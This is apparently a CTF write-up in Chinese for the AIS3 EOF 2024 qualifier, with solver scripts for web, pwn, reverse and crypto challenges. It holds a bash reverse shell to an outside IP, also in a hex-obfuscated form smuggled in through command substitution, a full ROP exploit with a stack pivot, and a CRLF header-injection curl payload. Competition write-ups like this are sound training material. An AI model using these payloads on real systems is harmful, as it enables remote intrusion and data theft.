# AIS3 EOF 2024 Qual
<h6>
username: peach
</h6>
### Welcome [misc]
.
### DNS Lookup Tool: Final [Web]
沒擋 `$()` 所以還是可以任意執行。
這題沒給環境實在很搞,我本地可用的 payload 在上面就是不行。
最後把 `printf` 改成 `/bin/printf` 就過了,不知道題目機用什麼爛 shell。
```!
0<&196;exec 196<>/dev/tcp/140.112.30.186/9001; bash <&196 >&196 2>&196
```
```!
$(bash -c "$(/bin/printf '\x30\x3c\x26\x31\x39\x36\x3b\x65\x78\x65\x63\x20\x31\x39\x36\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x34\x30\x2e\x31\x31\x32\x2e\x33\x30\x2e\x31\x38\x36\x2f\x39\x30\x30\x31\x3b\x20\x62\x61\x73\x68\x20\x3c\x26\x31\x39\x36\x20\x3e\x26\x31\x39\x36\x20\x32\x3e\x26\x31\x39\x36')")
```
### Flag Generator [Reverse]
發現 WriteFile 應該要寫進 flag.exe 但沒有。
x64dbg 執行,break point 直接 dump memory 下來。
執行 dump 出來的執行檔就好了。

### jackpot [Pwn]
題目給一個 stack 上的任意讀,跟 stack overflow。
本身的 binary 雖然沒有 PIE 但 rop gadget 不多所以要用那個任意讀去 leak libc。
stack 上一定有一個位置放 libc 的 return address,我懶得算,所以直接爆試拿到。
拿到之後就能用 libc 的 gadget,因為有 seccomp 所以不能用 exec,但還是可以自己開檔讀 flag。
因為要自己 open read write 所以 stack overflow 的量不夠多,需要自己 read 一次大的再 stack pivot 過去。
```python!
from pwn import *
context.arch = "amd64"
#p = remote("localhost", 10101)
p = remote("10.105.0.21", 12516)
p.sendlineafter(b": ", str(-9).encode())
p.recvuntil(b" ticket ")
leak = int(p.recv(14), 16)
print(f"leak: {hex(leak)}")
libc_base = leak - 0x7fb60e8bc6e5 + 0x7fb60e83b000
rw_space = leak - 0x7fb60e8bc6e5 + 0x7fb60ea54000
print(f"libc_base: {hex(libc_base)}")
pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x00000000000796a2
syscall_ret = libc_base + 0x0000000000091316
leave_ret = libc_base + 0x000000000004da83
# clear rax!
mov_rax_to_prsi_ret = libc_base + 0x0000000000089722
# can only use 17! need stack pivot
rop1 = b'\x00' * 0x70 + flat(
rw_space + 0x200,
# read rop2
pop_rax_ret, 0,
pop_rdi_ret, 0,
pop_rsi_ret, rw_space + 0x200,
pop_rdx_ret, 0x200,
syscall_ret,
leave_ret
)
rop2 = flat(
0,
pop_rax_ret
) + b'/flag\x00\x00\x00' + flat(
pop_rsi_ret, rw_space,
mov_rax_to_prsi_ret,
# open("/flag", 0, 0) = 3
pop_rax_ret, 2,
pop_rdi_ret, rw_space,
pop_rsi_ret, 0,
pop_rdx_ret, 0,
syscall_ret,
# read(3, buf, 100)
pop_rax_ret, 0,
pop_rdi_ret, 3,
pop_rsi_ret, rw_space,
pop_rdx_ret, 100,
syscall_ret,
# write(1, buf, 100)
pop_rax_ret, 1,
pop_rdi_ret, 1,
pop_rsi_ret, rw_space,
pop_rdx_ret, 100,
syscall_ret
)
p.sendafter(b": ", rop1)
sleep(1)
p.send(rop2)
print(p.recvall())
```
### Internel [Web]
上網查 internel 可以用 backend 給 `X-Accel-Redirect` header 來存取。又那個 python server 可以自己寫一個 `Location` 的 header,偷用 CRLF 加一個 header 就能得到 `/flag` 了。
```!
curl --path-as-is -vvv http://10.105.0.21:11089/\?redir=http://flag%0d%0aX-Accel-Redirect:%20/flag
```
### Stateful [Reverse]
看到 execution flow 跟輸入一點關係都沒有所以直接把 function 抄下來然後用 replace 把 function 編號弄成輸出,就知道照順序執行哪些 state function 了。
每個 function 都是 `+=` 或 `-=`,所以就可以從檔案裡的 binary 反著做就完了。
**PAIN**
```c!
unsigned char a[] = { 0xbf, 0x38, 0xcc, 0x33, 0x51, 0xdb, 0xf4, 0x02, 0x2d, 0x62, 0x85, 0x75, 0x5f, 0xc4, 0xb3, 0xb3, 0x1b, 0xd7, 0xdf, 0x90, 0xfa, 0x14, 0x4c, 0xae, 0x6a, 0x52, 0x5f, 0xf0, 0x74, 0x34, 0x29, 0x26, 0xbf, 0x65, 0x53, 0x35, 0xc3, 0xc0, 0x54, 0xa0, 0x65, 0xcc, 0x7d };
void state_1978986903() {
a[0x5] -= a[0x14] + a[0x25];
}
void state_3648003850() {
a[0x8] -= a[0x10] + a[0xe];
}
void state_3420754995() {
a[0x11] -= a[0x18] + a[0x26];
}
void state_557589375() {
a[0xf] -= a[0x8] + a[0x28];
}
void state_71198295() {
a[0x25] -= a[0x10] + a[0xc];
}
void state_126130845() {
a[0x4] -= a[0x16] + a[0x6];
}
void state_3901233957() {
a[0xa] += a[0x16] + a[0xc];
}
void state_1843624184() {
a[0x12] -= a[0x1f] + a[0x1a];
}
void state_794507810() {
a[0x17] -= a[0x27] + a[0x1e];
}
void state_4130555047() {
a[0x4] -= a[0x19] + a[0x1b];
}
void state_1929982570() {
a[0x25] -= a[0x12] + a[0x1b];
}
void state_3907553856() {
a[0x29] += a[0x22] + a[0x3];
}
void state_3507844042() {
a[0xd] -= a[0x8] + a[0x1a];
}
void state_2907124712() {
a[0x2] -= a[0x19] + a[0x22];
}
void state_2316743832() {
a[0x0] -= a[0x1f] + a[0x1c];
}
void state_1595228866() {
a[0x4] -= a[0x19] + a[0x7];
}
void state_1093244921() {
a[0x12] -= a[0xf] + a[0x1d];
}
void state_809393455() {
a[0x15] += a[0x2a] + a[0xd];
}
void state_1154341356() {
a[0x15] -= a[0xf] + a[0x22];
}
void state_3656605789() {
a[0x7] -= a[0x0] + a[0xa];
}
void state_4165665722() {
a[0xd] -= a[0x1c] + a[0x19];
}
void state_2816834243() {
a[0x20] -= a[0x19] + a[0x5];
}
void state_2095151013() {
a[0x1f] -= a[0x10] + a[0x1];
}
void state_3908914479() {
a[0x1] -= a[0x28] + a[0x10];
}
void state_2309210106() {
a[0x1e] += a[0x2] + a[0xd];
}
void state_4008735947() {
a[0x1] -= a[0x6] + a[0xf];
}
void state_3544494813() {
a[0x7] -= a[0x0] + a[0x15];
}
void state_4046605750() {
a[0x18] -= a[0x5] + a[0x14];
}
void state_1780152111() {
a[0x24] -= a[0xf] + a[0xb];
}
void state_269727185() {
a[0x0] -= a[0x10] + a[0x21];
}
void state_4237907356() {
a[0x13] -= a[0x10] + a[0xa];
}
void state_2098792827() {
a[0x1] += a[0xd] + a[0x1d];
}
void state_3443361864() {
a[0x1e] += a[0x8] + a[0x21];
}
void state_1132589236() {
a[0xf] -= a[0xa] + a[0x16];
}
void state_2131447726() {
a[0x14] -= a[0x18] + a[0x13];
}
void state_1765279360() {
a[0x1b] -= a[0x14] + a[0x12];
}
void state_4026467378() {
a[0x27] += a[0x26] + a[0x19];
}
void state_2202680315() {
a[0x17] -= a[0x22] + a[0x7];
}
void state_2373489361() {
a[0x25] += a[0x3] + a[0x1d];
}
void state_416430256() {
a[0x5] -= a[0x4] + a[0x28];
}
void state_2421543205() {
a[0x11] -= a[0x7] + a[0x0];
}
void state_3844354947() {
a[0x9] -= a[0x3] + a[0xb];
}
void state_3995931083() {
a[0x1f] -= a[0x10] + a[0x22];
}
void state_4260333374() {
a[0x10] -= a[0xb] + a[0x19];
}
void state_2263885268() {
a[0xe] += a[0x6] + a[0x20];
}
void state_1438496410() {
a[0x6] -= a[0x29] + a[0xa];
}
void state_2357240312() {
a[0x2] -= a[0x8] + a[0xb];
}
void state_671274660() {
a[0x0] += a[0x1f] + a[0x12];
}
void state_2057902921() {
a[0x9] += a[0x16] + a[0x2];
}
void state_3618225054() {
a[0xe] -= a[0x8] + a[0x23];
}
int main ()
{
state_1978986903();
state_3648003850();
state_3420754995();
state_557589375();
state_71198295();
state_126130845();
state_3901233957();
state_1843624184();
state_794507810();
state_4130555047();
state_1929982570();
state_3907553856();
state_3507844042();
state_2907124712();
state_2316743832();
state_1595228866();
state_1093244921();
state_809393455();
state_1154341356();
state_3656605789();
state_4165665722();
state_2816834243();
state_2095151013();
state_3908914479();
state_2309210106();
state_4008735947();
state_3544494813();
state_4046605750();
state_1780152111();
state_269727185();
state_4237907356();
state_2098792827();
state_3443361864();
state_1132589236();
state_2131447726();
state_1765279360();
state_4026467378();
state_2202680315();
state_2373489361();
state_416430256();
state_2421543205();
state_3844354947();
state_3995931083();
state_4260333374();
state_2263885268();
state_1438496410();
state_2357240312();
state_671274660();
state_2057902921();
state_3618225054();
#include <stdio.h>
puts(a);
}
```
### PixelClicker [Reverse]

點的 pixel 會跟那個 FUN_140001a60 的東西比對,所以原本那個應該就是圖。
先把 counter 改成 0x259 (601) 然後斷在這裡找位置,直接把它 dump 下來,再轉成 rgb 輸出。

```python!
from PIL import Image
import numpy as np
with open("pixels.mem", "rb") as f:
data = f.read()
pic = np.array([[(data[j * 4 + i * 2400 + 2], data[j * 4 + i * 2400], data[j * 4 + i * 2400 + 1]) for j in range(600)] for i in range(599, -1, -1)])
pic = Image.fromarray(pic.astype('uint8')).convert('RGB')
pic.save('pic.png')
```
binary data 是 gbr,交 writeup 之後才發現......
### Baby RSA [Crypto]
$m^3 \leq n_1n_2n_3 \Rightarrow m^3 = m^3 \mod n_1n_2n_3$
所以可以要三組再 CRT 然後開三次方根
```python!
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long
n1 = 20053858249369804854810462052728637755000423552280520167451124932060368469489126535767858672452296152187512407204688276965502451289415832704472741188321495238225402513827081959062926304141351091488884271890525834654534131767269009040836465880677873203776746277525576174717124231166773382213602753337097960720226883838827201184603531038410645796172985843203529561566716418081915601535313473003030294325579159406438958851630166455605052630907448049983802293941787564547833204518361646434652926867983564799277641060110889275187750068902030486641809960773863199813809229070587638738333843044893442690731196533095782361751
c1 = 16765194002853024349853181851450873900958173061920938477309355819292824729299284782241877788873568268082126488343921438112681870080247471246376384749868006636837727889024872918646523940048373310871367175868484213224010648064232641717786127558699358699009515228755057538636298621540217243729835330037439035071669062401837380474100120678889466788271078612309614956294890162523316970073445829795523948638385381950115219701573257420308847275207765559711026322069862795208270737710767843913209823889967046182184493858136707753833847085978251553977887529488991625908489467980637330990476915105420894728752391384949391420656
n2 = 19143993863023065475106159171018601404726748465922315889074454190129179039367668894284081360070764760741300768056703372120909055845584564819928365295051822162420182670717027687506072389159710333578448342371430710198900734633238577750375064433576853425603373709385700013476588758615551630172948261512445898022843212438324308213820029266662075756106355776923347115062759816226908783192912538402077336871409055178177120231364909973490259774769747530048437155420026519943111622394588951980528627268949682966450857736139693424330915409485976051501161724648368850054580602802907653240262732964349973063387147673660087406097
c2 = 8493904974832480935989756425906996241215009253517685008244311895195585142319872125424640095494304880867588330256466830078183416803862523121515913617926473225355315191088026832046183584546622095825184103218451661279737662702684326318579359709623322489188433354602690347730249428251669648862462218203918309434188342076673754309719737421616444517944132271163848447642545615008192045769901398057597877445780947907668178444408152553166307622000017319399114648304808501401230099332352381992177351027957913820859411978916700115924053629374951569943450203777522346581401427670559790619201972770442098798849006444178369190342
n3 = 25161265470084873165508034290590985464034172991962853618184310436968696521808495518367782628018439857900977585701434832830336363565051308217913296416066168437103034061548279114221079825991721975421239134649127736861446065963612023550340787525601590071653804679574212146921695385732797500553520394817637867691476188307247487893579109330612677492800687245491046147200843281428291940142006289294616946686126736059845949304317315840757281061285520518467674114089540257850044687176485302548352347493088387355432844533839552778929215894627711781912995570812623565583080489263047554834822317827544661479027523116263760321601
c3 = 7981049494489087473740975052876072127956912295060756522741139674618721210586028790640128429355242041640060255459630997690239194920329838874408313774929507332096164845990675592465217666133310040272285095624559773139103408556298956921400717724743696861269431837789056440832757271503843796733440418309633701730877370661344899266866156066276976910366790676029876342099984090112654792799564489985661697697945522315894776814704350429493230854359434868256062887406854296256277486703939193363126986435991268134993978160046596152943460982181140700051135645963382465926256852947607537976759572636071123918139504653041063240575
N = n1 * n2 * n3
inv_N1 = pow(N // n1, -1, n1)
inv_N2 = pow(N // n2, -1, n2)
inv_N3 = pow(N // n3, -1, n3)
flag_3 = (c1 * inv_N1 * N // n1 + c2 * inv_N2 * N // n2 + c3 * inv_N3 * N // n3) % N
a, b = gmpy2.iroot(flag_3, 3)
print(long_to_bytes(a), b)
```
### Baby ECDLP [Crypto]
照抄 https://ctftime.org/writeup/29702
用 a, b 式子反推就有 p, q,計算方法在註解
姑且有檢查過兩個 order 都可拆成小質數
```python!
from output import *
from sage.all import *
from Crypto.Util.number import long_to_bytes
#x = var('x')
#print(solve(x ** 3 - x ** 2 + a*x + b, x))
p = 606710710331354054580186816291010392871019954030779016292280286866735511569100967440607108157263872383894869151462034657242060313292171198199627921327747
q = 2593583059728345921717208095074913602629280672126544615190525122441615292084597121583589016495332323447796399589884856517974664149857614601721857175783803
Ep = EllipticCurve(GF(p), [a % p, b % p])
Gp = Ep(p, p) + Ep(q, q)
Cp = Ep.point(C)
Eq = EllipticCurve(GF(q), [a % q, b % q])
Gq = Eq(p, p) + Eq(q, q)
Cq = Eq.point(C)
sp = discrete_log(Cp, Gp, Gp.order(), operation="+")
sq = discrete_log(Cq, Gq, Gq.order(), operation="+")
print(long_to_bytes(int(crt([sp, sq], [Gp.order(), Gq.order()]))))
```
### Baby AES [Crypto]
flow:
```!
# want to know AES_enc(iv), AES_enc(XOR(AES_enc(iv), c1[0:16])), AES_enc(iv + 1), AES_enc(AES_enc(iv + 1)), AES_enc(iv + 2)
# cur: iv + 3
choose: CTR
plain text: b'\0' * 80
obtain: AES_enc(iv + 3), AES_enc(iv + 4), AES_enc(iv + 5), AES_enc(iv + 6), AES_enc(iv + 7)
# cur iv + 4
choose: CFB
plain text: (AES_enc(iv + 4) ^ iv) + b'\0' * 16
obtain: iv, AES_enc(iv)
# cur iv + 5
choose: CFB
plain text: (AES_enc(iv + 5) ^ (iv + 1)) + b'\0' * 32
obtain: iv + 1, AES_enc(iv + 1), AES_enc(AES_enc(iv + 1))
# cur iv + 6
choose: CFB
plain text: (AES_enc(iv + 6) ^ (iv + 2)) + b'\0' * 16
obtain: iv + 2, AES_enc(iv + 2)
# cur iv + 7
choose: CFB
plain text: (AES_enc(iv + 7) ^ XOR(AES_enc(iv), c1[0:16])) + b'\0' * 16
obtain: XOR(AES_enc(iv), c1[0:16]), AES_enc(XOR(AES_enc(iv), c1[0:16]))
# all variables obtained
```
```python!
from pwn import *
from base64 import *
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
def conv_iv(iv):
return l2b(iv).rjust(16, b"\x00")
#p = process("AES.py")
p = remote("chal1.eof.ais3.org", 10003)
def CTR(x):
p.sendlineafter(b"? ", b"CTR")
p.sendlineafter(b"? ", b64encode(x))
p.recvuntil(b" b\'")
return b64decode(p.recvline())
def CFB(x):
p.sendlineafter(b"? ", b"CFB")
p.sendlineafter(b"? ", b64encode(x))
p.recvuntil(b" b\'")
return b64decode(p.recvline())
p.recvuntil(b'b\'')
iv = b2l(b64decode(p.recvuntil(b'b\'')[:-5]))
C1 = b64decode(p.recvuntil(b')')[:-2])
p.recvuntil(b', b\'')
C2 = b64decode(p.recvuntil(b')')[:-2])
p.recvuntil(b', b\'')
C3 = b64decode(p.recvuntil(b')')[:-2])
a = CTR(b'\0' * 80)
ev3 = b2l(a[:16])
ev4 = b2l(a[16:32])
ev5 = b2l(a[32:48])
ev6 = b2l(a[48:64])
ev7 = b2l(a[64:])
a = CFB(conv_iv(ev4 ^ iv) + b'\0' * 16)
ev0 = b2l(a[16:])
a = CFB(conv_iv(ev5 ^ (iv + 1)) + b'\0' * 32)
ev1 = b2l(a[16:32])
eev1 = b2l(a[32:])
a = CFB(conv_iv(ev6 ^ (iv + 2)) + b'\0' * 16)
ev2 = b2l(a[16:])
a = CFB(conv_iv(ev7 ^ b2l(C1[:16])) + b'\0' * 16)
ev0c = b2l(a[16:])
c1 = b2l(l2b(b2l(C1[:16]) ^ ev0) + l2b(b2l(C1[16:]) ^ ev0c))
c2 = b2l(l2b(b2l(C2[:16]) ^ ev1) + l2b(b2l(C2[16:]) ^ eev1))
c3 = b2l(l2b(b2l(C3[:16]) ^ ev2) + l2b(b2l(C3[16:]) ^ ev3))
print(l2b(c1 ^ c2 ^ c3))
```
### Bam [Reverse]
strings 發現居然有 `$1337$` ,於是順利找到有在作用的 function,從 [github](https://github.com/linux-pam/linux-pam/blob/76af6380776a81ffd6ff50de254fb448ec6bce79/modules/pam_unix/passverify.c#L91) 這邊大概看得出用到的變數是什麼。
然後就一路 backtrace 打出來,最後注意到雖然 input 會跟前面放 random 的地方 xor,但因為 `strcpy` 到的地方就在 random 的前面,所以可以直接覆蓋就變成 `password[:16]` 跟 `password[16:32]` 的 xor。
構造兩串可讀字 (好像其實不一定要可讀?) xor 等於解完的 hash 就過了。
```c!
#include <ctype.h>
#include <stdio.h>
#include <string.h>
void gen_box (unsigned char *salt_i, int salt_l, unsigned char buf[]) {
for (int i = 0; i < 256; i++) {
buf[i] = i;
}
unsigned char a = 0;
for (int i = 0; i < 256; i++) {
a += salt_i[i % salt_l] + buf[i];
unsigned char t = buf[i];
buf[i] = buf[a];
buf[a] = t;
}
}
void dexor (unsigned char *hash_i, int hash_l, unsigned char *salt_i, int salt_l) {
unsigned char buf[256];
gen_box(salt_i, salt_l, buf);
unsigned char a = 0, b = 0;
for (int i = 0; i < hash_l; i++) {
a++;
b += buf[a];
unsigned char t = buf[a];
buf[a] = buf[b];
buf[b] = t;
hash_i[i] ^= buf[(buf[a] + buf[b]) & 0xFF];
}
}
int tr (char x) {
if ('0' <= x && x <= '9') {
return x - '0';
}
if ('a' <= x && x <= 'f') {
return x - 'a' + 10;
}
if ('A' <= x && x <= 'F') {
return x - 'A' + 10;
}
return 0;
}
void atoi (char *str, unsigned char buf[], int *rlen) {
int len = strlen(str);
*rlen = len / 2;
for (int i = 0; i < len; i += 2) {
int a = tr(str[i]);
int b = tr(str[i + 1]);
buf[i / 2] = (a << 4) | b;
}
}
void strip (char *str) {
int j = 0;
for (int i = 0; str[i]; i++) {
if (isxdigit(str[i])) {
str[j++] = str[i];
}
}
str[j] = 0;
}
int check (char *salt, char *hash, char *pass) {
char buf[0x10];
// FILE *f = fopen("/dev/urandom","r");
// fread(buf, 1, 0x10, f);
// fclose(f);
strip(salt);
strip(hash);
char salt_i[16], hash_i[16];
int salt_l, hash_l;
atoi(salt, salt_i, &salt_l);
atoi(hash, hash_i, &hash_l);
dexor(hash_i, hash_l, salt_i, salt_l);
// here has a strcpy, and the next 16 bytes of pass is buf!
// for (int i = 0; i < 16; i++) {
// printf("%d, ", hash_i[i] ^ '@');
// }
// puts("");
for (int i = 0; i < 16; i++) {
if ((pass[i] ^ pass[i + 16]) != hash_i[i]) {
return 7;
}
}
return 0;
}
int split (char *pass, char *shadow) {
char *salt = strdup(shadow + 6), *hash = strdup(shadow + 6);
for (int i = 0; i < strlen(salt); i++) {
if (salt[i] == '$') {
hash += i + 1;
salt[i] = 0;
break;
}
}
return check(salt, hash, pass);
}
int main () {
char *a = "$1337$346378395nt24aG6hpdm6f3178kz4Xge30NU6w949qM3965n$307nJ6iL2Ob9ce377c7dvf80Jw1h3UY644ce5xbbbj49Z5Qg";
return split("yVzxrpxjSVrvJOws @ @ @ ", a);
}
```
